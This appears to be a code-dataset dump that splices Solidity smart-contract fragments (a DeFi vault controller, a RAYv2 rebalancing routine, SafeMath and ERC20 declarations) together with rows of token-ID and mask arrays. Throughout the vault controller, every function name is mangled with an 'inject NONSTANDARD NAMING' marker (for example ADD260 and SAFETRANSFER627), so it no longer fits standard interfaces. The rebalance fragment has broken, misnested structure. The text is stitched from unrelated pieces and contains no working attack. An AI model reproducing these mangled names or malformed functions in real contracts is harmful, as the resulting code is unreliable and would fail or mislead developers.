function CAP418() external view returns (uint); //inject NONSTANDARD NAMING
function GETCONVERTER215(address _want) external view returns (address); //inject NONSTANDARD NAMING
function GETVAULTMASTER236() external view returns (address); //inject NONSTANDARD NAMING
function BALANCE180() external view returns (uint); //inject NONSTANDARD NAMING
function TOKEN385() external view returns (address); //inject NONSTANDARD NAMING
function AVAILABLE930(address _want) external view returns (uint); //inject NONSTANDARD NAMING
function ACCEPT281(address _input) external view returns (bool); //inject NONSTANDARD NAMING
function CLAIMINSURANCE45() external; //inject NONSTANDARD NAMING
function EARN427(address _want) external; //inject NONSTANDARD NAMING
function HARVEST506(address reserve, uint amount) external; //inject NONSTANDARD NAMING
function WITHDRAW_FEE118(uint _shares) external view returns (uint); //inject NONSTANDARD NAMING
function CALC_TOKEN_AMOUNT_DEPOSIT453(uint[] calldata _amounts) external view returns (uint); //inject NONSTANDARD NAMING
function CALC_TOKEN_AMOUNT_WITHDRAW2(uint _shares, address _output) external view returns (uint); //inject NONSTANDARD NAMING
function CONVERT_RATE825(address _input, uint _amount) external view returns (uint); //inject NONSTANDARD NAMING
function GETPRICEPERFULLSHARE124() external view returns (uint); //inject NONSTANDARD NAMING
function GET_VIRTUAL_PRICE769() external view returns (uint); // average dollar value of vault share token //inject NONSTANDARD NAMING
function DEPOSIT294(address _input, uint _amount, uint _min_mint_amount) external returns (uint _mint_amount); //inject NONSTANDARD NAMING
function DEPOSITFOR247(address _account, address _to, address _input, uint _amount, uint _min_mint_amount) external returns (uint _mint_amount); //inject NONSTANDARD NAMING
function DEPOSITALL52(uint[] calldata _amounts, uint _min_mint_amount) external returns (uint _mint_amount); //inject NONSTANDARD NAMING
function DEPOSITALLFOR442(address _account, address _to, uint[] calldata _amounts, uint _min_mint_amount) external returns (uint _mint_amount); //inject NONSTANDARD NAMING
function WITHDRAW808(uint _shares, address _output, uint _min_output_amount) external returns (uint); //inject NONSTANDARD NAMING
function WITHDRAWFOR513(address _account, uint _shares, address _output, uint _min_output_amount) external returns (uint _output_amount); //inject NONSTANDARD NAMING
function HARVESTSTRATEGY825(address _strategy) external; //inject NONSTANDARD NAMING
function HARVESTWANT168(address _want) external; //inject NONSTANDARD NAMING
function HARVESTALLSTRATEGIES334() external; //inject NONSTANDARD NAMING
}
interface IShareConverter {
function CONVERT_SHARES_RATE463(address _input, address _output, uint _inputAmount) external view returns (uint _outputAmount); //inject NONSTANDARD NAMING
function CONVERT_SHARES33(address _input, address _output, uint _inputAmount) external returns (uint _outputAmount); //inject NONSTANDARD NAMING
}
interface Converter {
function CONVERT349(address) external returns (uint); //inject NONSTANDARD NAMING
}
contract MultiStablesVaultController {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
address public strategist;
struct StrategyInfo {
address strategy;
uint quota; // set = 0 to disable
uint percent;
}
IValueMultiVault public vault;
address public basedWant;
address[] public wantTokens; // sorted by preference
// want => quota, length
mapping(address => uint) public wantQuota;
mapping(address => uint) public wantStrategyLength;
// want => stratId => StrategyInfo
mapping(address => mapping(uint => StrategyInfo)) public strategies;
mapping(address => mapping(address => bool)) public approvedStrategies;
mapping(address => bool) public investDisabled;
IShareConverter public shareConverter; // converter for shares (3CRV <-> BCrv, etc ...)
address public lazySelectedBestStrategy; // we pre-set the best strategy to avoid gas cost of iterating the array
constructor(IValueMultiVault _vault) public {
require(address(_vault) != address(0), "!_vault");
vault = _vault;
basedWant = vault.TOKEN385();
governance = msg.sender;
strategist = msg.sender;
}
function SETGOVERNANCE701(address _governance) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
governance = _governance;
}
function SETSTRATEGIST330(address _strategist) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
strategist = _strategist;
}
function APPROVESTRATEGY673(address _want, address _strategy) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
approvedStrategies[_want][_strategy] = true;
}
function REVOKESTRATEGY92(address _want, address _strategy) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
approvedStrategies[_want][_strategy] = false;
}
function SETWANTQUOTA716(address _want, uint _quota) external { //inject NONSTANDARD NAMING
require(msg.sender == strategist || msg.sender == governance, "!strategist");
wantQuota[_want] = _quota;
}
function SETWANTSTRATEGYLENGTH858(address _want, uint _length) external { //inject NONSTANDARD NAMING
require(msg.sender == strategist || msg.sender == governance, "!strategist");
wantStrategyLength[_want] = _length;
}
// want => stratId => StrategyInfo
function SETSTRATEGYINFO462(address _want, uint _sid, address _strategy, uint _quota, uint _percent) external { //inject NONSTANDARD NAMING
require(msg.sender == strategist || msg.sender == governance, "!strategist");
require(approvedStrategies[_want][_strategy], "!approved");
strategies[_want][_sid].strategy = _strategy;
strategies[_want][_sid].quota = _quota;
strategies[_want][_sid].percent = _percent;
}
function SETSHARECONVERTER560(IShareConverter _shareConverter) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
shareConverter = _shareConverter;
}
function SETINVESTDISABLED819(address _want, bool _investDisabled) external { //inject NONSTANDARD NAMING
require(msg.sender == strategist || msg.sender == governance, "!strategist");
investDisabled[_want] = _investDisabled;
}
function SETWANTTOKENS997(address[] memory _wantTokens) external { //inject NONSTANDARD NAMING
require(msg.sender == strategist || msg.sender == governance, "!strategist");
delete wantTokens;
uint _wlength = _wantTokens.length;
for (uint i = 0; i < _wlength; ++i) {
wantTokens.push(_wantTokens[i]);
}
}
function GETSTRATEGYCOUNT337() external view returns(uint _strategyCount) { //inject NONSTANDARD NAMING
_strategyCount = 0;
uint _wlength = wantTokens.length;
for (uint i = 0; i < _wlength; i++) {
_strategyCount = _strategyCount.ADD260(wantStrategyLength[wantTokens[i]]);
}
}
function WANTLENGTH873() external view returns (uint) { //inject NONSTANDARD NAMING
return wantTokens.length;
}
function WANTSTRATEGYBALANCE73(address _want) public view returns (uint) { //inject NONSTANDARD NAMING
uint _bal = 0;
for (uint _sid = 0; _sid < wantStrategyLength[_want]; _sid++) {
_bal = _bal.ADD260(IMultiVaultStrategy(strategies[_want][_sid].strategy).BALANCEOF771());
}
return _bal;
}
function WANT777() external view returns (address) { //inject NONSTANDARD NAMING
if (lazySelectedBestStrategy != address(0)) {
return IMultiVaultStrategy(lazySelectedBestStrategy).WANT777();
}
uint _wlength = wantTokens.length;
if (_wlength > 0) {
if (_wlength == 1) {
return wantTokens[0];
}
for (uint i = 0; i < _wlength; i++) {
address _want = wantTokens[i];
uint _bal = WANTSTRATEGYBALANCE73(_want);
if (_bal < wantQuota[_want]) {
return _want;
}
}
}
return basedWant;
}
function SETLAZYSELECTEDBESTSTRATEGY629(address _strategy) external { //inject NONSTANDARD NAMING
require(msg.sender == strategist || msg.sender == governance, "!strategist");
lazySelectedBestStrategy = _strategy;
}
function GETBESTSTRATEGY227(address _want) public view returns (address _strategy) { //inject NONSTANDARD NAMING
if (lazySelectedBestStrategy != address(0) && IMultiVaultStrategy(lazySelectedBestStrategy).WANT777() == _want) {
return lazySelectedBestStrategy;
}
uint _wantStrategyLength = wantStrategyLength[_want];
_strategy = address(0);
if (_wantStrategyLength == 0) return _strategy;
uint _totalBal = WANTSTRATEGYBALANCE73(_want);
if (_totalBal == 0) {
// first depositor, simply return the first strategy
return strategies[_want][0].strategy;
}
uint _bestDiff = 201;
for (uint _sid = 0; _sid < _wantStrategyLength; _sid++) {
StrategyInfo storage sinfo = strategies[_want][_sid];
uint _stratBal = IMultiVaultStrategy(sinfo.strategy).BALANCEOF771();
if (_stratBal < sinfo.quota) {
uint _diff = _stratBal.ADD260(_totalBal).MUL872(100).DIV551(_totalBal).SUB684(sinfo.percent); // [100, 200] - [percent]
if (_diff < _bestDiff) {
_bestDiff = _diff;
_strategy = sinfo.strategy;
}
}
}
if (_strategy == address(0)) {
_strategy = strategies[_want][0].strategy;
}
}
function EARN427(address _token, uint _amount) external { //inject NONSTANDARD NAMING
require(msg.sender == address(vault) || msg.sender == strategist || msg.sender == governance, "!strategist");
address _strategy = GETBESTSTRATEGY227(_token);
if (_strategy == address(0) || IMultiVaultStrategy(_strategy).WANT777() != _token) {
// forward to vault and then call earnExtra() by its governance
IERC20(_token).SAFETRANSFER627(address(vault), _amount);
} else {
IERC20(_token).SAFETRANSFER627(_strategy, _amount);
IMultiVaultStrategy(_strategy).DEPOSIT294();
}
}
function WITHDRAW_FEE118(address _want, uint _amount) external view returns (uint) { //inject NONSTANDARD NAMING
address _strategy = GETBESTSTRATEGY227(_want);
return (_strategy == address(0)) ? 0 : IMultiVaultStrategy(_strategy).WITHDRAWFEE692(_amount);
}
function BALANCEOF771(address _want, bool _sell) external view returns (uint _totalBal) { //inject NONSTANDARD NAMING
uint _wlength = wantTokens.length;
if (_wlength == 0) {
return 0;
}
_totalBal = 0;
for (uint i = 0; i < _wlength; i++) {
address wt = wantTokens[i];
uint _bal = WANTSTRATEGYBALANCE73(wt);
if (wt != _want) {
_bal = shareConverter.CONVERT_SHARES_RATE463(wt, _want, _bal);
if (_sell) {
_bal = _bal.MUL872(9998).DIV551(10000); // minus 0.02% for selling
}
}
_totalBal = _totalBal.ADD260(_bal);
}
}
function WITHDRAWALL927(address _strategy) external { //inject NONSTANDARD NAMING
require(msg.sender == strategist || msg.sender == governance, "!strategist");
// WithdrawAll sends 'want' to 'vault'
IMultiVaultStrategy(_strategy).WITHDRAWALL927();
}
function INCASETOKENSGETSTUCK116(address _token, uint _amount) external { //inject NONSTANDARD NAMING
require(msg.sender == strategist || msg.sender == governance, "!strategist");
IERC20(_token).SAFETRANSFER627(address(vault), _amount);
}
function INCASESTRATEGYGETSTUCK927(address _strategy, address _token) external { //inject NONSTANDARD NAMING
require(msg.sender == strategist || msg.sender == governance, "!strategist");
IMultiVaultStrategy(_strategy).WITHDRAW808(_token);
IERC20(_token).SAFETRANSFER627(address(vault), IERC20(_token).BALANCEOF771(address(this)));
}
function CLAIMINSURANCE45() external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
vault.CLAIMINSURANCE45();
}
// note that some strategies do not allow controller to harvest
function HARVESTSTRATEGY825(address _strategy) external { //inject NONSTANDARD NAMING
require(msg.sender == address(vault) || msg.sender == strategist || msg.sender == governance, "!strategist && !vault");
IMultiVaultStrategy(_strategy).HARVEST506(address(0));
}
function HARVESTWANT168(address _want) external { //inject NONSTANDARD NAMING
require(msg.sender == address(vault) || msg.sender == strategist || msg.sender == governance, "!strategist && !vault");
uint _wantStrategyLength = wantStrategyLength[_want];
address _firstStrategy = address(0); // to send all harvested WETH and proceed the profit sharing all-in-one here
for (uint _sid = 0; _sid < _wantStrategyLength; _sid++) {
StrategyInfo storage sinfo = strategies[_want][_sid];
if (_firstStrategy == address(0)) {
_firstStrategy = sinfo.strategy;
} else {
IMultiVaultStrategy(sinfo.strategy).HARVEST506(_firstStrategy);
}
}
if (_firstStrategy != address(0)) {
IMultiVaultStrategy(_firstStrategy).HARVEST506(address(0));
}
}
function HARVESTALLSTRATEGIES334() external { //inject NONSTANDARD NAMING
require(msg.sender == address(vault) || msg.sender == strategist || msg.sender == governance, "!strategist && !vault");
uint _wlength = wantTokens.length;
address _firstStrategy = address(0); // to send all harvested WETH and proceed the profit sharing all-in-one here
for (uint i = 0; i < _wlength; i++) {
address _want = wantTokens[i];
uint _wantStrategyLength = wantStrategyLength[_want];
for (uint _sid = 0; _sid < _wantStrategyLength; _sid++) {
StrategyInfo storage sinfo = strategies[_want][_sid];
if (_firstStrategy == address(0)) {
_firstStrategy = sinfo.strategy;
} else {
IMultiVaultStrategy(sinfo.strategy).HARVEST506(_firstStrategy);
}
}
}
if (_firstStrategy != address(0)) {
IMultiVaultStrategy(_firstStrategy).HARVEST506(address(0));
}
}
function SWITCHFUND172(IMultiVaultStrategy _srcStrat, IMultiVaultStrategy _destStrat, uint _amount) external { //inject NONSTANDARD NAMING
require(msg.sender == strategist || msg.sender == governance, "!strategist");
_srcStrat.WITHDRAWTOCONTROLLER653(_amount);
address _srcWant = _srcStrat.WANT777();
address _destWant = _destStrat.WANT777();
if (_srcWant != _destWant) {
_amount = IERC20(_srcWant).BALANCEOF771(address(this));
require(shareConverter.CONVERT_SHARES_RATE463(_srcWant, _destWant, _amount) > 0, "rate=0");
IERC20(_srcWant).SAFETRANSFER627(address(shareConverter), _amount);
shareConverter.CONVERT_SHARES33(_srcWant, _destWant, _amount);
}
IERC20(_destWant).SAFETRANSFER627(address(_destStrat), IERC20(_destWant).BALANCEOF771(address(this)));
_destStrat.DEPOSIT294();
}
function WITHDRAW808(address _want, uint _amount) external returns (uint _withdrawFee) { //inject NONSTANDARD NAMING
require(msg.sender == address(vault), "!vault");
_withdrawFee = 0;
uint _toWithdraw = _amount;
uint _wantStrategyLength = wantStrategyLength[_want];
uint _received;
for (uint _sid = _wantStrategyLength; _sid > 0; _sid--) {
StrategyInfo storage sinfo = strategies[_want][_sid - 1];
IMultiVaultStrategy _strategy = IMultiVaultStrategy(sinfo.strategy);
uint _stratBal = _strategy.BALANCEOF771();
if (_toWithdraw < _stratBal) {
_received = _strategy.WITHDRAW808(_toWithdraw);
_withdrawFee = _withdrawFee.ADD260(_strategy.WITHDRAWFEE692(_received));
return _withdrawFee;
}
_received = _strategy.WITHDRAWALL927();
_withdrawFee = _withdrawFee.ADD260(_strategy.WITHDRAWFEE692(_received));
if (_received >= _toWithdraw) {
return _withdrawFee;
}
_toWithdraw = _toWithdraw.SUB684(_received);
}
if (_toWithdraw > 0) {
// still not enough, try to withdraw from other wants strategies
uint _wlength = wantTokens.length;
for (uint i = _wlength; i > 0; i--) {
address wt = wantTokens[i - 1];
if (wt != _want) {
(uint _wamt, uint _wdfee) = _WITHDRAWOTHERWANT971(_want, wt, _toWithdraw);
_withdrawFee = _withdrawFee.ADD260(_wdfee);
if (_wamt >= _toWithdraw) {
return _withdrawFee;
}
_toWithdraw = _toWithdraw.SUB684(_wamt);
}
}
}
return _withdrawFee;
}
function _WITHDRAWOTHERWANT971(address _want, address _other, uint _amount) internal returns (uint _wantAmount, uint _withdrawFee) { //inject NONSTANDARD NAMING
// Check balance
uint b = IERC20(_want).BALANCEOF771(address(this));
_withdrawFee = 0;
if (b >= _amount) {
_wantAmount = b;
} else {
uint _toWithdraw = _amount.SUB684(b);
uint _toWithdrawOther = _toWithdraw.MUL872(101).DIV551(100); // add 1% extra
uint _otherBal = IERC20(_other).BALANCEOF771(address(this));
if (_otherBal < _toWithdrawOther) {
uint _otherStrategyLength = wantStrategyLength[_other];
for (uint _sid = _otherStrategyLength; _sid > 0; _sid--) {
StrategyInfo storage sinfo = strategies[_other][_sid - 1];
IMultiVaultStrategy _strategy = IMultiVaultStrategy(sinfo.strategy);
uint _stratBal = _strategy.BALANCEOF771();
uint _needed = _toWithdrawOther.SUB684(_otherBal);
uint _wdamt = (_needed < _stratBal) ? _needed : _stratBal;
_strategy.WITHDRAWTOCONTROLLER653(_wdamt);
_withdrawFee = _withdrawFee.ADD260(_strategy.WITHDRAWFEE692(_wdamt));
_otherBal = IERC20(_other).BALANCEOF771(address(this));
if (_otherBal >= _toWithdrawOther) {
break;
}
}
}
IERC20(_other).SAFETRANSFER627(address(shareConverter), _otherBal);
shareConverter.CONVERT_SHARES33(_other, _want, _otherBal);
_wantAmount = IERC20(_want).BALANCEOF771(address(this));
}
IERC20(_want).SAFETRANSFER627(address(vault), _wantAmount);
}
} | inject NONSTANDARD NAMING
| function HARVESTSTRATEGY825(address _strategy) external { | 13,085,410 | [
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
670,
985,
3412,
882,
3902,
27708,
28,
2947,
12,
2867,
389,
14914,
13,
3903,
288,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x7e15a5814087a7bB5Da63E71bdbBCC2d5Baf9eBe/sources/SwipeIWO.sol | Maximum Base Token Amount | uint256 private _maxBaseAmount;
| 16,462,761 | [
1,
13528,
3360,
3155,
16811,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
5034,
3238,
389,
1896,
2171,
6275,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/4/0x64fD3aea4Df3b76348a8cC9F2A18930fD6927738/sources/RAYv2.sol | pre-emptively check totalLent to see if we need to transfer funds to this contract from the specified RoboToken. loop through lOpportunityIds over lValues to avoid the potential case where have lValues, but less or no lOpportunityIds. This exposes the possibility to withdraw values into RAYv2 and never re-lend them out which will impact the NAV. Or, meet the totalLent > totalWithdrawn case which then transfers funds to RAYv2, but they also never get lent out. Also are avoiding this case by requiring lValues.length == lOpportunityIds.length. | {
uint totalLent;
uint totalWithdrawn;
function executeWithdraw(
bytes32 opportunityId,
address opportunity,
address underlying,
address roboTokenAddress,
bool isERC20,
uint amountToRedeem,
uint opportunityNav
)
internal
}
function _rebalance(
address roboTokenAddress,
bytes32[] memory wOpportunityIds,
uint[] memory wValues,
bytes32[] memory lOpportunityIds,
uint[] memory lValues,
bytes32 portfolioId,
address underlying,
uint coinStandard
)
internal
for (uint i = 0; i < lOpportunityIds.length; i++) {
}
for (uint i = 0; i < wOpportunityIds.length; i++) {
bytes32 opportunityTokenId = roboTokens[roboTokenAddress].opportunityTokens[wOpportunityIds[i]];
withdrawAction(portfolioId, wOpportunityIds[i], opportunityTokenId, underlying, coinStandard, wValues[i]);
}
totalLent >= totalWithdrawn,
"#RoboToken rebalance(): Total withdrawn cannot be more than total lent"
);
require(
if (totalLent > totalWithdrawn) {
IRoboToken(roboTokenAddress).transferFundsToCore(amountToTransfer);
}
for (uint i = 0; i < lOpportunityIds.length; i++) {
lendAction(portfolioId, lOpportunityIds[i], roboTokenAddress, underlying, coinStandard, lValues[i]);
}
}
| 8,750,833 | [
1,
1484,
17,
5744,
4492,
866,
2078,
48,
319,
358,
2621,
309,
732,
1608,
358,
7412,
284,
19156,
358,
333,
6835,
628,
326,
1269,
19686,
83,
1345,
18,
2798,
3059,
328,
3817,
655,
13352,
2673,
1879,
328,
1972,
358,
4543,
326,
8555,
648,
1625,
1240,
328,
1972,
16,
1496,
5242,
578,
1158,
328,
3817,
655,
13352,
2673,
18,
1220,
431,
10522,
326,
25547,
358,
598,
9446,
924,
1368,
534,
5255,
90,
22,
471,
5903,
283,
17,
80,
409,
2182,
596,
1492,
903,
15800,
326,
423,
5856,
18,
2965,
16,
18721,
326,
2078,
48,
319,
405,
2078,
1190,
9446,
82,
648,
1492,
1508,
29375,
284,
19156,
358,
534,
5255,
90,
22,
16,
1496,
2898,
2546,
5903,
336,
328,
319,
596,
18,
8080,
854,
4543,
310,
333,
648,
635,
29468,
328,
1972,
18,
2469,
422,
328,
3817,
655,
13352,
2673,
18,
2469,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
288,
203,
203,
565,
2254,
2078,
48,
319,
31,
203,
565,
2254,
2078,
1190,
9446,
82,
31,
203,
203,
225,
445,
1836,
1190,
9446,
12,
203,
565,
1731,
1578,
1061,
655,
13352,
548,
16,
203,
565,
1758,
1061,
655,
13352,
16,
203,
565,
1758,
6808,
16,
203,
565,
1758,
721,
1075,
1345,
1887,
16,
203,
565,
1426,
353,
654,
39,
3462,
16,
203,
565,
2254,
3844,
774,
426,
24903,
16,
203,
565,
2254,
1061,
655,
13352,
12599,
203,
225,
262,
203,
565,
2713,
203,
225,
289,
203,
203,
203,
225,
445,
389,
266,
12296,
12,
203,
565,
1758,
721,
1075,
1345,
1887,
16,
203,
565,
1731,
1578,
8526,
3778,
341,
3817,
655,
13352,
2673,
16,
203,
565,
2254,
8526,
3778,
341,
1972,
16,
203,
565,
1731,
1578,
8526,
3778,
328,
3817,
655,
13352,
2673,
16,
203,
565,
2254,
8526,
3778,
328,
1972,
16,
203,
565,
1731,
1578,
19933,
548,
16,
203,
565,
1758,
6808,
16,
203,
565,
2254,
13170,
8336,
203,
225,
262,
203,
565,
2713,
203,
565,
364,
261,
11890,
277,
273,
374,
31,
277,
411,
328,
3817,
655,
13352,
2673,
18,
2469,
31,
277,
27245,
288,
203,
565,
289,
203,
203,
565,
364,
261,
11890,
277,
273,
374,
31,
277,
411,
341,
3817,
655,
13352,
2673,
18,
2469,
31,
277,
27245,
288,
203,
203,
1377,
1731,
1578,
1061,
655,
13352,
1345,
548,
273,
721,
1075,
5157,
63,
303,
1075,
1345,
1887,
8009,
556,
655,
13352,
5157,
63,
91,
3817,
655,
13352,
2673,
63,
77,
13563,
31,
203,
203,
203,
1377,
598,
2
] |
pragma solidity ^0.4.25;
// library for basic math operation + - * / to prevent and protect overflow error
// (Overflow and Underflow) which can be occurred from unit256 (Unsigned int 256)
library SafeMath256 {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a==0 || b==0)
return 0;
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b>0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require( b<= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
// Mandatory basic functions according to ERC20 standard
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
function totalSupply() public view returns (uint256);
function balanceOf(address tokenOwner) public view returns (uint256 balance);
function allowance(address tokenOwner, address spender) public view returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
}
// Contract Ownable is used to specified which person has right/permission to execute/invoke the specific function.
